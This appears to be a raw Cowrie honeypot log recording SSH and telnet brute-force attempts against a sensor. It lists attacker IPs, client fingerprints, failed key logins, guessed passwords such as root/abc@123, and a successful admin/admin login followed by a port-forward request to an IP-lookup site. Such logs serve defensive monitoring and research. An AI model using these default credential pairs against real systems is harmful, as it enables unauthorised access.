{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:6a:dd:dd:7c:65:c9:8d:b4:81:9f:bb:d1:e6:3b:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCezRNayqL6kLlbrfP1yk47/qwaedNVWqo9XYLvOPMGtDDoptmzhsT9xFlXNIBvPUOKRCXeTW3js+KrABqITCaiE2xo/PtbuWzrU6IPOXrIb+cb8AGq85i8Y6VEkndfNBDfr7gVf27lHVNtqLDH10KJl7hFjss5BWsWLXos5lGfgxtdEFDmhmudn+nLgONkT6ckm+hz8LUWj7M96uhOkKabf6owsa4c5MD5Akr1xX0xMpmuOTqWEgM91+rO+xToG7mG1dKFuZnMYsbQo8inLkKaNMkwltKakhcKtMuTVczFFUzaJXimBrszUjM/N5uN312/Mk1n7qSl4usKkbQxYor5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:6a:dd:dd:7c:65:c9:8d:b4:81:9f:bb:d1:e6:3b:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.178230Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:6a:dd:dd:7c:65:c9:8d:b4:81:9f:bb:d1:e6:3b:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCezRNayqL6kLlbrfP1yk47/qwaedNVWqo9XYLvOPMGtDDoptmzhsT9xFlXNIBvPUOKRCXeTW3js+KrABqITCaiE2xo/PtbuWzrU6IPOXrIb+cb8AGq85i8Y6VEkndfNBDfr7gVf27lHVNtqLDH10KJl7hFjss5BWsWLXos5lGfgxtdEFDmhmudn+nLgONkT6ckm+hz8LUWj7M96uhOkKabf6owsa4c5MD5Akr1xX0xMpmuOTqWEgM91+rO+xToG7mG1dKFuZnMYsbQo8inLkKaNMkwltKakhcKtMuTVczFFUzaJXimBrszUjM/N5uN312/Mk1n7qSl4usKkbQxYor5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.181948Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:0f:9f:fe:7e:de:60:f8:42:61:18:f6:42:50:b0:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbdw5YFqMGOy0roIf8Em/6IA3SREFKkv2r9Of8sqKADVh7u5dS6RiQHvq6QBu6gBQ6m6jv/g65XVRVACQvRK0mmsivKOOYZ0Pkxowq/bNQxIV/WYG/XV312MCeL2lyh985erBOK5fu4ajJJqS17eX1D5EHjjZx2R7yEvd+BRIZZbj/AldlM5nm/IdbjS/DkX5Weql3QHIttUhsz01LyAWf0u3i7ypqBz9MN6VpxjPYcSNUw7Z6lQrGOyy9cRHp42HXSasRfY7M8AFx80Rha3y2rASgSXNsvHlsXMmHlR3VR9PqoZnCIh6mtvALTq3cs1TrxrRXn83EgxTg93MniGMTPH3/J8d0WtOXeGTKO8V1NxzgJ+pxhgkht7S56teIjXepfVT8iibN7mVgfMeItIRUputSsrkplKVuj1yZbVfbEXjDDLrM6DyKMQLI4eBlO8e1fYl7Vjwx8iZMf0k52RvNGtjfkR7ZLn1bs47IduMvXVD3UJjlxeFadLrVagkh0Gk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:0f:9f:fe:7e:de:60:f8:42:61:18:f6:42:50:b0:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.213313Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:0f:9f:fe:7e:de:60:f8:42:61:18:f6:42:50:b0:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbdw5YFqMGOy0roIf8Em/6IA3SREFKkv2r9Of8sqKADVh7u5dS6RiQHvq6QBu6gBQ6m6jv/g65XVRVACQvRK0mmsivKOOYZ0Pkxowq/bNQxIV/WYG/XV312MCeL2lyh985erBOK5fu4ajJJqS17eX1D5EHjjZx2R7yEvd+BRIZZbj/AldlM5nm/IdbjS/DkX5Weql3QHIttUhsz01LyAWf0u3i7ypqBz9MN6VpxjPYcSNUw7Z6lQrGOyy9cRHp42HXSasRfY7M8AFx80Rha3y2rASgSXNsvHlsXMmHlR3VR9PqoZnCIh6mtvALTq3cs1TrxrRXn83EgxTg93MniGMTPH3/J8d0WtOXeGTKO8V1NxzgJ+pxhgkht7S56teIjXepfVT8iibN7mVgfMeItIRUputSsrkplKVuj1yZbVfbEXjDDLrM6DyKMQLI4eBlO8e1fYl7Vjwx8iZMf0k52RvNGtjfkR7ZLn1bs47IduMvXVD3UJjlxeFadLrVagkh0Gk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.219182Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:0d:0f:1f:fe:13:c5:e0:08:39:e9:4a:94:c2:3f:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuZPNABjXyFkyMWqkeQqRMcWQeG1H0smJSNoLm0XCg+eunWe65+uSly0dLF5ZASAM5Tpq8+rBDZKM98aq7KPzwCG+kucYjh/Q3PMUsr9ow9u3GGu4Ojm1jtIfLd27BZMu3BxCBNTSd8zP7nV4cQF5U2ugjUchoTNMCKiCCi+zUV4U0B2vS61Ljz8zK9yYpjBUcvqmk6aEWtOKM4hHqD4O52ZR5GClLOO5vEoEBXvUevHphwr81YGFSLT+bZ4mhwr3h8/aYQep3/qcsbT4mgqJBCijWbVcLJ5MocdUkmVTG3WN9cAXJLbXsm5AbAFBBFBST1kWBbOAfKtdpf91K/ccpQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:0d:0f:1f:fe:13:c5:e0:08:39:e9:4a:94:c2:3f:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.250751Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:0d:0f:1f:fe:13:c5:e0:08:39:e9:4a:94:c2:3f:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuZPNABjXyFkyMWqkeQqRMcWQeG1H0smJSNoLm0XCg+eunWe65+uSly0dLF5ZASAM5Tpq8+rBDZKM98aq7KPzwCG+kucYjh/Q3PMUsr9ow9u3GGu4Ojm1jtIfLd27BZMu3BxCBNTSd8zP7nV4cQF5U2ugjUchoTNMCKiCCi+zUV4U0B2vS61Ljz8zK9yYpjBUcvqmk6aEWtOKM4hHqD4O52ZR5GClLOO5vEoEBXvUevHphwr81YGFSLT+bZ4mhwr3h8/aYQep3/qcsbT4mgqJBCijWbVcLJ5MocdUkmVTG3WN9cAXJLbXsm5AbAFBBFBST1kWBbOAfKtdpf91K/ccpQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.253944Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:85:e6:b3:0f:f5:62:d7:c6:a8:37:dd:ff:16:34:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZMEG94kzn7103ZC2L6iuPdaypAugI8YBfGarq4fZydZUZGozFiqftEiCGALoXbaiayml2wW3I2AgSa0fp5o7e7SiY4spYs0Txagvll8rV/fI1Vy0P1L1cgbOqPJElRwJeJ1lgm0Jb9EXQQwCoF1f09B7CPKNTYgW00KnrVBMF8nDJhfKRbRkLtUCHMB8E+YQh60ShsdBbugPS4eEkUTSqIivP/qMFYmkkgi04bcNDFmGVCit1xaDGaj4l/F7/Frd1/lkQmJci1LLDWh2tZhFYpRCqTdpAWLVfDd6E/SRwdkSErJc8q0EQsYcHLNQGIM1Fu3eteq4PfF7s5yfk2MIh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:85:e6:b3:0f:f5:62:d7:c6:a8:37:dd:ff:16:34:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.284865Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:85:e6:b3:0f:f5:62:d7:c6:a8:37:dd:ff:16:34:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZMEG94kzn7103ZC2L6iuPdaypAugI8YBfGarq4fZydZUZGozFiqftEiCGALoXbaiayml2wW3I2AgSa0fp5o7e7SiY4spYs0Txagvll8rV/fI1Vy0P1L1cgbOqPJElRwJeJ1lgm0Jb9EXQQwCoF1f09B7CPKNTYgW00KnrVBMF8nDJhfKRbRkLtUCHMB8E+YQh60ShsdBbugPS4eEkUTSqIivP/qMFYmkkgi04bcNDFmGVCit1xaDGaj4l/F7/Frd1/lkQmJci1LLDWh2tZhFYpRCqTdpAWLVfDd6E/SRwdkSErJc8q0EQsYcHLNQGIM1Fu3eteq4PfF7s5yfk2MIh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.289291Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:c3:f0:42:f1:be:cd:64:bd:b9:6d:c2:f7:3b:e2:5a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAGlFe28wR+rdtBXUa5CyWu1Yz2uq/r757LP4Tsv9ZxC","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1d:c3:f0:42:f1:be:cd:64:bd:b9:6d:c2:f7:3b:e2:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.321115Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:c3:f0:42:f1:be:cd:64:bd:b9:6d:c2:f7:3b:e2:5a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAGlFe28wR+rdtBXUa5CyWu1Yz2uq/r757LP4Tsv9ZxC","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.324507Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.355815Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42786,"dst_ip":"10.17.0.5","dst_port":22,"session":"89a890f10fcd","protocol":"ssh","message":"New connection: 103.15.226.202:42786 (10.17.0.5:22) [session: 89a890f10fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:15.225117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:15.229825Z","src_ip":"103.15.226.202","session":"89a890f10fcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:15.480076Z","src_ip":"103.15.226.202","session":"89a890f10fcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123","message":"login attempt [root/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:16.237493Z","src_ip":"103.15.226.202","session":"89a890f10fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:17.490917Z","src_ip":"103.15.226.202","session":"89a890f10fcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":51738,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b95131e8d15","protocol":"ssh","message":"New connection: 171.231.193.85:51738 (159.203.135.109:22) [session: 1b95131e8d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:29.985744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:30.500224Z","src_ip":"171.231.193.85","session":"1b95131e8d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:30.562202Z","src_ip":"171.231.193.85","session":"1b95131e8d15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:43.362520Z","src_ip":"171.231.193.85","session":"1b95131e8d15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"171.231.193.85","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:43.626463Z","session":"1b95131e8d15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:44.130803Z","src_ip":"171.231.193.85","session":"1b95131e8d15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:44.134934Z","src_ip":"171.231.193.85","session":"1b95131e8d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:44.942194Z","src_ip":"171.231.193.85","session":"1b95131e8d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39412,"dst_ip":"10.17.0.5","dst_port":22,"session":"55f3e01ef5e2","protocol":"ssh","message":"New connection: 193.32.162.145:39412 (10.17.0.5:22) [session: 55f3e01ef5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:55.082781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:55.087587Z","src_ip":"193.32.162.145","session":"55f3e01ef5e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:55.192843Z","src_ip":"193.32.162.145","session":"55f3e01ef5e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shredrum","message":"login attempt [root/shredrum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:55.510218Z","src_ip":"193.32.162.145","session":"55f3e01ef5e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:31:56.619398Z","src_ip":"193.32.162.145","session":"55f3e01ef5e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":58874,"dst_ip":"10.17.0.5","dst_port":22,"session":"29388a3dbf65","protocol":"ssh","message":"New connection: 2.57.122.210:58874 (10.17.0.5:22) [session: 29388a3dbf65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:32:32.426224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:32:32.509969Z","src_ip":"2.57.122.210","session":"29388a3dbf65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:32:32.650820Z","src_ip":"2.57.122.210","session":"29388a3dbf65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:32:33.202322Z","src_ip":"2.57.122.210","session":"29388a3dbf65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:32:34.334990Z","src_ip":"2.57.122.210","session":"29388a3dbf65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":24759,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a1ed4b5e3c","protocol":"telnet","message":"New connection: 212.55.149.117:24759 (10.17.0.5:23) [session: 90a1ed4b5e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:32:50.179232Z"}
